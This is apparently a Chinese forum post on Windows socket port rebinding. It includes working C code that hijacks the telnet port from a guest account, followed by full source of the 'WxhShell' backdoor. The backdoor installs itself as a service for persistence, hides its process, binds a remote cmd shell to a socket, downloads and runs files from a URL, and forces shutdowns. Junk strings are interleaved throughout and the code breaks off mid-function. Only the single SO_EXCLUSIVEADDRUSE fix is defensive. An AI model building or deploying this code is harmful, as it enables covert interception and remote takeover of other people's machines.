在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u?ek|%Ok s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`WEZ"5n *TW=/+j saddr.sin_family = AF_INET;
~i'Nqe_ ;Z[]{SQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
V5}nOGV9 V2Q$g^X' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[a[/_Sf{ }n,Zl>T9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Myat{OF dth&?/MERL 这意味着什么?意味着可以进行如下的攻击:
Is<"OQ 1&=0Wg0ig 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;.sl*q1A t,)N('m}= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^he=)rBb? >M!xiQX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_GQz!YA w
JwX[\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$Kj&)&M %b.UPS@I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
q}Z3?W
~%u|[$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$S*4r&8ZD Z!xVgM{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
UAF<m1 $$Vt7"F #include
rtJl _0` #include
tqPx$s #include
q}uHFp/J #include
[//R ~i? DWORD WINAPI ClientThread(LPVOID lpParam);
V+-$jOh int main()
<|O^>s; {
PALl sGlf WORD wVersionRequested;
gQSNU_o Z DWORD ret;
Vpfp}pL WSADATA wsaData;
z7.|fE)<6 BOOL val;
_?7#MWe& SOCKADDR_IN saddr;
C9n}6Er=, SOCKADDR_IN scaddr;
>C WKH~ int err;
5(2|tJw-H; SOCKET s;
lor8@Qz SOCKET sc;
3LR p2(A int caddsize;
~d{.ng 4K HANDLE mt;
f"#m=_Xm DWORD tid;
?i\B^uB wVersionRequested = MAKEWORD( 2, 2 );
R)?{]]v err = WSAStartup( wVersionRequested, &wsaData );
9n]|PEoAB if ( err != 0 ) {
p5=|Y^g ! printf("error!WSAStartup failed!\n");
?8dVH2W. return -1;
qJ!Z~-hS }
39U5jj7i saddr.sin_family = AF_INET;
+eQe%U fHrt+_Zn| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6}~pq1IF{ >e5 *prx+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!U_K&f saddr.sin_port = htons(23);
-
N>MBn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$$i.O} {
.o%^'m"=D[ printf("error!socket failed!\n");
7x]4`#u return -1;
Sydh2d }
,7Y-k'7Kop val = TRUE;
@4~=CV%j //SO_REUSEADDR选项就是可以实现端口重绑定的
Dq\ Jz~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J`M&{UP {
|XYEn7^r printf("error!setsockopt failed!\n");
eC
DIwB28 return -1;
?q`0ZuAg\< }
\2[<XG(^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
TG48%L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
80}+MWdo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i[C~5}% 'PZ|:9FX! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9DQ)cy {
TjWE_Bq]g ret=GetLastError();
4!62/df printf("error!bind failed!\n");
Gz
I~TWc+G return -1;
vq*Q.0 M+ }
]e:/" listen(s,2);
e;bYaM4UX while(1)
Mpue {
8rZ!ia! caddsize = sizeof(scaddr);
CF!Sa 6 //接受连接请求
<E;pgw! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
seFGJfN\?f if(sc!=INVALID_SOCKET)
=-cwXo{Q.O {
l@j.hTO< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vgIpj3u if(mt==NULL)
%z]U LEYrZ {
*YTo{~ printf("Thread Creat Failed!\n");
+.B<Hd break;
t9gfU5? }
1[F3 Z }
sRVIH A, CloseHandle(mt);
Z#d&|5Xj }
?rVy2! closesocket(s);
eO=s-]mk WSACleanup();
6dH }]~a return 0;
tbo>%kn }
<^.=>Q0S\ DWORD WINAPI ClientThread(LPVOID lpParam)
}_tl n {
`cz2DR-" SOCKET ss = (SOCKET)lpParam;
j*@l"V>~ SOCKET sc;
[sV"ws unsigned char buf[4096];
2Q7R6*<N: SOCKADDR_IN saddr;
<F7kh[L_x long num;
<`X"}I3ba DWORD val;
t9
\x%=
DWORD ret;
"eWk#/ //如果是隐藏端口应用的话,可以在此处加一些判断
@4d)R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i!2TH~zl saddr.sin_family = AF_INET;
W+wA_s2&D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zQ?!f#f saddr.sin_port = htons(23);
ulT8lw=' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WFR?fDtE {
l5%G'1w#,j printf("error!socket failed!\n");
$w)~O<_U return -1;
TlL^7f} }
C,V%B val = 100;
1sE?YJP- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8*SDiZ {
qs\2Z@; ret = GetLastError();
e:E0 "< return -1;
'oNO-)p\#! }
|@?%Ct if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!?f5>Bl {
_EnwME{@ ret = GetLastError();
C$Lu]pIL* return -1;
t-
u VZ!`\ }
(2ur5uk+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#1c]PX {
vr#+0:| printf("error!socket connect failed!\n");
@Q&3L~K" closesocket(sc);
I
+5)Jau^S closesocket(ss);
~"pKe~h return -1;
kh~'Cn "O }
Mwb/jTp while(1)
r?m+.fJB {
^L1L=c;, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(Q[fS:U //如果是嗅探内容的话,可以再此处进行内容分析和记录
76tdJ!4Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\y6OUM2y num = recv(ss,buf,4096,0);
`.x$7!zLC if(num>0)
.Xm(D>>k send(sc,buf,num,0);
~AYN else if(num==0)
Y^Nuz/ break;
]3ONFa num = recv(sc,buf,4096,0);
}7fZ[J3 if(num>0)
'[$)bPMHl send(ss,buf,num,0);
7*j
(* else if(num==0)
gM>t0)mGK break;
L!/\8-&$P }
4${jr\q] closesocket(ss);
V^y^
;0I}[ closesocket(sc);
')a(.f return 0 ;
T@}|zDC# }
.)1_Ew _(J&aY\ g&dPd7 ==========================================================
YDC mI@ hLJM%on 下边附上一个代码,,WXhSHELL
z"D.Bm~ ] 3X9b2RY*L/ ==========================================================
b[z]CP PFUO8>!pA\ #include "stdafx.h"
}:: S0l l1ZY1#%j #include <stdio.h>
PcB_oG g #include <string.h>
Q
4CjA3 #include <windows.h>
#T`t79*N #include <winsock2.h>
gVeEdo`$< #include <winsvc.h>
fQrhsuCrC #include <urlmon.h>
Z,BC* Ehzo05/! #pragma comment (lib, "Ws2_32.lib")
&DqE{bBd! #pragma comment (lib, "urlmon.lib")
dd2[yKC` &`b
"a! #define MAX_USER 100 // 最大客户端连接数
d0'JC* #define BUF_SOCK 200 // sock buffer
|6Gm:jV #define KEY_BUFF 255 // 输入 buffer
+q6ydb, '`'GK&) #define REBOOT 0 // 重启
=b;>?dP #define SHUTDOWN 1 // 关机
Cg*H.f%Mr y@CHR #define DEF_PORT 5000 // 监听端口
Lb LiB*D#s MO;X>D = #define REG_LEN 16 // 注册表键长度
<2C7<7{7 #define SVC_LEN 80 // NT服务名长度
A!1;}x q&C""!h^ // 从dll定义API
!4] 9!<.k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kyR*D1N&) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tx?dIy; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
CctJFcEZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kw2T> B|o2K}%f // wxhshell配置信息
BL@:!t struct WSCFG {
?UM*Xah int ws_port; // 监听端口
keRE==(D char ws_passstr[REG_LEN]; // 口令
5SCKP<rb int ws_autoins; // 安装标记, 1=yes 0=no
04r$>#E char ws_regname[REG_LEN]; // 注册表键名
L(GjZAP char ws_svcname[REG_LEN]; // 服务名
`3p~m, char ws_svcdisp[SVC_LEN]; // 服务显示名
c8Z wr]DF char ws_svcdesc[SVC_LEN]; // 服务描述信息
vb9OonE2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1+?^0%AC int ws_downexe; // 下载执行标记, 1=yes 0=no
hsu{ey p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
54zlnM$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q7u'_R,; -i-? .: };
Z{'i F @F(mi1QO // default Wxhshell configuration
X.`~>`8 struct WSCFG wscfg={DEF_PORT,
1;<R#>&,* "xuhuanlingzhe",
x@8a'' 1,
<nEi<iAY>U "Wxhshell",
G
"P4- "Wxhshell",
f6$b
s+oP "WxhShell Service",
OtFh,}E "Wrsky Windows CmdShell Service",
zbJT&@z "Please Input Your Password: ",
&/,|+U[ 1,
\9-"M;R.d "
http://www.wrsky.com/wxhshell.exe",
G:g69=x y "Wxhshell.exe"
dz Zb };
`~eUee3b.~ QeF3qXI // 消息定义模块
6'xsG?{JY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N&@}/wzZ char *msg_ws_prompt="\n\r? for help\n\r#>";
gv5*!eI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q_l'o3 char *msg_ws_ext="\n\rExit.";
}-~l!
char *msg_ws_end="\n\rQuit.";
s&'QN=A char *msg_ws_boot="\n\rReboot...";
\W1/p` char *msg_ws_poff="\n\rShutdown...";
m,fAeln
char *msg_ws_down="\n\rSave to ";
-*.-9B~u :6$>_m=i char *msg_ws_err="\n\rErr!";
Sp@-p9# char *msg_ws_ok="\n\rOK!";
V59(Z eYx Kp!f char ExeFile[MAX_PATH];
tBpC: SG int nUser = 0;
-_$$Te HANDLE handles[MAX_USER];
=-p$jXVW% int OsIsNt;
7g_]mG[6 'uy/o)L SERVICE_STATUS serviceStatus;
w&ak"GgV SERVICE_STATUS_HANDLE hServiceStatusHandle;
b+Br=Fv"T `p+Zz"/ // 函数声明
Y))NK'B5 int Install(void);
^j7azn int Uninstall(void);
Yup3^E
w& int DownloadFile(char *sURL, SOCKET wsh);
,0LU~AGe
int Boot(int flag);
T
Q,?>6n void HideProc(void);
Ewg:HX7<( int GetOsVer(void);
~Jf{4*>y int Wxhshell(SOCKET wsl);
k1Q?'<` void TalkWithClient(void *cs);
6Cp]NbNrq int CmdShell(SOCKET sock);
O$cHZs$ int StartFromService(void);
~K@'+5Pc int StartWxhshell(LPSTR lpCmdLine);
2WG>, 4W2 y|wc,n%L> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?,/U^rf^4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
z?35=%~w (y^vqMz // 数据结构和表定义
Z(Jt~a3o SERVICE_TABLE_ENTRY DispatchTable[] =
n?V+dC=F} {
D_Bb?o5 {wscfg.ws_svcname, NTServiceMain},
g:EVhuK {NULL, NULL}
1@$Ko5 };
OrK&RC )m. 4i =X // 自我安装
7B?c{ int Install(void)
Pi|o` d {
V*~Zs'L'E char svExeFile[MAX_PATH];
iQ"XLrpl HKEY key;
#KO,~]k5|e strcpy(svExeFile,ExeFile);
2it?$8#i 3h<, // 如果是win9x系统,修改注册表设为自启动
a0Zv p>Ft if(!OsIsNt) {
[+P#tIL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jVq(?Gc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l}qE 46EL RegCloseKey(key);
PdvqDa8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4f<$4d^md RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q%f|~Kl-hd RegCloseKey(key);
}1r m return 0;
Ps<d('= }
B/n[m@O }
?R$&Xe!5 }
p'om- else {
mml
z&h x,'!eCKN // 如果是NT以上系统,安装为系统服务
z<5m
fAm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AoyX\iqQ if (schSCManager!=0)
*oybD=%4 {
aCL!]4K84$ SC_HANDLE schService = CreateService
jq!tT%o*B (
4
uQT5 schSCManager,
K^R,Iu/M wscfg.ws_svcname,
@$z<i `4 wscfg.ws_svcdisp,
e>AE8T SERVICE_ALL_ACCESS,
^4o;$u4R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R=KQ SERVICE_AUTO_START,
vI@%Fg+D SERVICE_ERROR_NORMAL,
|n] d34E svExeFile,
FJd]D[h NULL,
S<J}[I7V NULL,
y\x+ NULL,
3*@5S]] NULL,
[n/hkXa$\ NULL
bAx?&$ );
}-@`9(o`) if (schService!=0)
}RP@!= {
*<!oHEwkN CloseServiceHandle(schService);
!Xph_SQ!B= CloseServiceHandle(schSCManager);
B2O} 1. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
plZ>03(6Q strcat(svExeFile,wscfg.ws_svcname);
wKsT7c' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ki)#d'
} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
w[ ~#av9 RegCloseKey(key);
kTvd+TP4 return 0;
]EpWSs!"g }
+k>.Q0n%m }
5v6Eii: CloseServiceHandle(schSCManager);
&ZQJ>#~j^ }
~_!F01s }
L/z),# +U3m#Y )k return 1;
ZR'H\Z }
i _%Q`i s@7H1)U // 自我卸载
)sT> i int Uninstall(void)
J.|+ID+ {
@|tL8? HKEY key;
jt.3P >orK';r< if(!OsIsNt) {
]i)j3WDz] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H_QsNf RegDeleteValue(key,wscfg.ws_regname);
P$-X)c$& RegCloseKey(key);
@n": w2^B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"T- `$'9 RegDeleteValue(key,wscfg.ws_regname);
X<*U.=r) RegCloseKey(key);
Alxx[l\<J return 0;
eD#hpl }
2TA*m{\Hr }
d09k5$=gJ }
Ho
*AAg else {
f-71~ x UD-iSY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0/oyf]HR if (schSCManager!=0)
9,"L^W8"k {
c=`wg$2:5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l
c '=mA if (schService!=0)
@Rw!'T {
v@d if(DeleteService(schService)!=0) {
:EA\)@^$R CloseServiceHandle(schService);
"l*`>5Nn9 CloseServiceHandle(schSCManager);
*v3]}g[< return 0;
` 5C~ }
+o51x'Ld* CloseServiceHandle(schService);
O7 $hYk }
t0T"@t#c CloseServiceHandle(schSCManager);
m
RO~aD!N }
qhz]Wm P }
QD>"]ap,o >:|q&|x- return 1;
>#y^;/bb }
bAm(8nT7w EB8\_]6XJ // 从指定url下载文件
;y2/-tL? int DownloadFile(char *sURL, SOCKET wsh)
d:U9pC$ {
[`):s= FC HRESULT hr;
#gcF"L|| char seps[]= "/";
=Yt
R` char *token;
#*(td<Cp char *file;
_Iv6pNd/ char myURL[MAX_PATH];
%$Aqle[ char myFILE[MAX_PATH];
heK7pH7;d n;T7= 1_" strcpy(myURL,sURL);
UZpIcj cL token=strtok(myURL,seps);
<N9[?g) while(token!=NULL)
5x>}O3Q_ {
gE?|_x# file=token;
!!? Mw token=strtok(NULL,seps);
BFOq8}fX2 }
jE/AA!DC# }-sdov<< GetCurrentDirectory(MAX_PATH,myFILE);
+qwjbA+ strcat(myFILE, "\\");
jWE:ek* strcat(myFILE, file);
TTTPxO, send(wsh,myFILE,strlen(myFILE),0);
?CA, send(wsh,"...",3,0);
8Bjib&im hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c. 2).Jt, if(hr==S_OK)
&@yo;kB return 0;
W!>.$4Q9 else
k|H: return 1;
9c6gkt9eB
#c66) }
|YY_^C`"- ]f({`&K5 // 系统电源模块
]&pds\ int Boot(int flag)
M!XsJ<jN/ {
z=3\Ab HANDLE hToken;
-#HA"7XOE TOKEN_PRIVILEGES tkp;
hs$GN] u!W0P6 if(OsIsNt) {
M%kO7>h8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Oz%>/zw[h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X'qU*Eo tkp.PrivilegeCount = 1;
jmFz51 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l|k`YC x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/
:n#`o=; if(flag==REBOOT) {
F
70R1OYU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fV'ZsJ N return 0;
Gvr@|{k }
EpX&R,Rxk else {
P IwFF}<( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y*vW!yu return 0;
f__cn^1 }
d!
LE{ }
De(Hw&
IV else {
~,B5Hc 2 if(flag==REBOOT) {
K$E3QVa if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Nqa&_5" return 0;
q;][5 }
4QIX19{" else {
G%W8S
\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/Y7<5!cS return 0;
PU^l. }
n74V|b6W }
='Y!+ zp%Cr.)$ return 1;
c5D) }
"$N+"3I Gf<'WQ[ // win9x进程隐藏模块
n' q4 void HideProc(void)
W1|0Yd ;P {
EH!
q=&d +2&@x=xy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a+Kj1ix if ( hKernel != NULL )
N%*5 T[. {
tAv@R&W, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e(GP^oK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9E"vN FreeLibrary(hKernel);
O%5
r[ }
[VsKa\9u HTS%^<u return;
E4~<V=2l }
l^pA2yh| li}1S // 获取操作系统版本
z;|A(*Y int GetOsVer(void)
`</ff+Q6 {
<#u=[_H OSVERSIONINFO winfo;
9vGu0Um winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
to DG7XN} GetVersionEx(&winfo);
dE4L=sTEsy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M$>1L return 1;
3 +G$-ru else
bj>v|#r^ return 0;
rzm:Yx }
fj;y}t1E] n O\"HLM // 客户端句柄模块
0dGAP
int Wxhshell(SOCKET wsl)
JSCZ{vJ$ {
P;qN(2L/=< SOCKET wsh;
q#,f 4P struct sockaddr_in client;
7G}2,ueI DWORD myID;
Y6zbo 'kL#] while(nUser<MAX_USER)
<~n"m {
@oV9) int nSize=sizeof(client);
<FcG
oGK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e}
P I^bc if(wsh==INVALID_SOCKET) return 1;
XH}\15X |ZRagn30 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lFV N07hG
if(handles[nUser]==0)
$ us]35Z3 closesocket(wsh);
Af'" 6BS else
]v]qChZHd nUser++;
7|$:=4 }
~,oMz<iMV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3c]b)n~Y )GM41t1i return 0;
[BqHx5Xz( }
z8SmkL e%@~MQ- // 关闭 socket
>aj7||K void CloseIt(SOCKET wsh)
+#lM {
^h~x)@= closesocket(wsh);
`lO[x.[ nUser--;
v*SEb~[ ExitThread(0);
LSGBq }
B&[M7i W;'!gpa // 客户端请求句柄
qUob?|
^ void TalkWithClient(void *cs)
2\jPv`Ia {
LWz&YF#T- /
zB0J? SOCKET wsh=(SOCKET)cs;
w35J.zn char pwd[SVC_LEN];
{f2S/$q char cmd[KEY_BUFF];
w[S pw<Z char chr[1];
^=RffrlZU int i,j;
G IT>L Y&d00 while (nUser < MAX_USER) {
WJkZ!O$"j 4W#vP if(wscfg.ws_passstr) {
$RIecv<e_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t\{'F7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&]v4@%<J //ZeroMemory(pwd,KEY_BUFF);
vY${;#~| i=0;
R`DKu= while(i<SVC_LEN) {
Nn~~!q jr /pj? // 设置超时
||hb~%JK6 fd_set FdRead;
PT=2@kH struct timeval TimeOut;
gcPTLh[^Er FD_ZERO(&FdRead);
TarIPp FD_SET(wsh,&FdRead);
]*
F\"C@ TimeOut.tv_sec=8;
j.w@(<=x TimeOut.tv_usec=0;
aI6$? wus int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h]5C|M| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GqaDL3Niqs _aad=BrMK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k.vBj~xU pwd
=chr[0]; /%}*Xh
if(chr[0]==0xd || chr[0]==0xa) { g`vny )\7/
pwd=0; aT)BR?OYSJ
break; oX S1QT`B
} gQxbi1!;9
i++; ur$
_
} #fM#p+v
p?7v$ev_
// 如果是非法用户,关闭 socket 5NS[dQG5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %r%M lj:#
} KxYwJ
w+#C-&z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a(kg/s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @SJL\{_
tiB_a}5IB
while(1) { :PIF07$xl
rz wF~-m +
ZeroMemory(cmd,KEY_BUFF); DcoX+8 7
hxVKV?Fl
// 自动支持客户端 telnet标准 s%C)t6`9
j=0; B_nVP
while(j<KEY_BUFF) { TcjEcMw,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hfwq/Is
cmd[j]=chr[0]; .S(TxksCz
if(chr[0]==0xa || chr[0]==0xd) { ~P8tUhffK
cmd[j]=0; T>}5:,N~
break; L+Xc-uv["p
} 5][Ztx
j++; 5R@
} \6E|pbJ}x
!sDh4jQ`
// 下载文件 /y _O4
if(strstr(cmd,"http://")) { %{AO+u2i
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 01r 8$+
if(DownloadFile(cmd,wsh)) 8$85^Of
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zVXC1u9B
else 6x h:/j3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xy5lE+E_U
} ,&jhlZ i
else { J
pFfzb
96 q_K84K
switch(cmd[0]) { 0E,8R{e
8oUpQcim
// 帮助 .y_/U wu
case '?': { R:e<W/P"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hd>aZ"nm1
break; _/uFsYC
} PD&\LbuG
// 安装 u<3HQ.:;
case 'i': { OMWbZ>jB
if(Install()) vwjPmOjhS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rai3<_W<
else ROg(U8
N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0fb`08,^
break; u.d).da
} pP*zq"o
// 卸载 C\/xl#e<@
case 'r': { co~Pyj
if(Uninstall()) :=/85\P0SU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@P)a'W_
else p2n0Z\2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @hJ%@(
break; |]J>R
} l>Z5 uSG
// 显示 wxhshell 所在路径 .z)%)PVV
case 'p': { w[9|cgCY
char svExeFile[MAX_PATH]; PZE0}>z
strcpy(svExeFile,"\n\r"); 0Fk5kGD,&K
strcat(svExeFile,ExeFile); :*ing
send(wsh,svExeFile,strlen(svExeFile),0); 0y
7"SiFY
break; Y?
x,
} xIxn"^'
// 重启 sm0x LZ
case 'b': { 5b!vgm#])
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;i
Fz?d3;
if(Boot(REBOOT)) !lf|7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ap&?r`Tu
else { i=i(%yQ%
closesocket(wsh); v@Gl|29_
ExitThread(0); J)`-+}7$v
} f|h|q_<;
break; :n0vQ5a
} h\5OrD@L
// 关机 k5D%y3|9
case 'd': { ;'5>q&[qbP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (d(hR0HKE
if(Boot(SHUTDOWN)) AvdXEY(-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7![,Q~Fy
else { ZAv,*5&<
closesocket(wsh); 3&u&x(
ExitThread(0); n#q<`}u,
} a=DcZ_M
break; ^cczJOxB
} \^ZlG.
// 获取shell R%Q@
case 's': { b~'"^ Bts*
CmdShell(wsh); PV9pa/`@
closesocket(wsh); `S6x<J&T\/
ExitThread(0); Sx?ua<`:d
break; JHz
[ 7
} pQshUm"_
// 退出 <\NY<QIwFw
case 'x': { B$b +Ymu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); in~D
CloseIt(wsh); '+osf'&
break; )3~{L;q
} V'kX)$
// 离开 ep2k%?CX 1
case 'q': { p 3 w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ptDY3n~'
closesocket(wsh); BRlT7grgq
WSACleanup(); y^%n'h{
exit(1); ?YZ- P{rTS
break; =at@ Vp/y
} 7(qE0R&@
} P"W2(d
} &Q>k7L!
KVD8YfF
// 提示信息 [-\%4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^:#D0[
} h{ AII
} OY:,D
f>W-
return; U-IpH+E
} .v$D13L(o
N'g>MBdI
// shell模块句柄 'R
c,Mq'
int CmdShell(SOCKET sock) lEhk'/~
{ R $&o*K`?
STARTUPINFO si; *Eo?k<:zPm
ZeroMemory(&si,sizeof(si)); Pb?$t
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Olh<,p+x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /4g1zrU
PROCESS_INFORMATION ProcessInfo; l y(>8F
char cmdline[]="cmd"; o| #Qu8Lk
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c
)G3k/T5
return 0; 4WJ.^ (
} qMLD)rL
dR"@`
// 自身启动模式 d5oIH
int StartFromService(void) Y8o)FVcyNy
{ Qk,I^1w?7
typedef struct 7cTV?nc
{ w)Q0_2p.
DWORD ExitStatus; Vl:^>jTki
DWORD PebBaseAddress; hnDBFQ{
DWORD AffinityMask; [/Rf\T(,jn
DWORD BasePriority; cUA7#1\T=
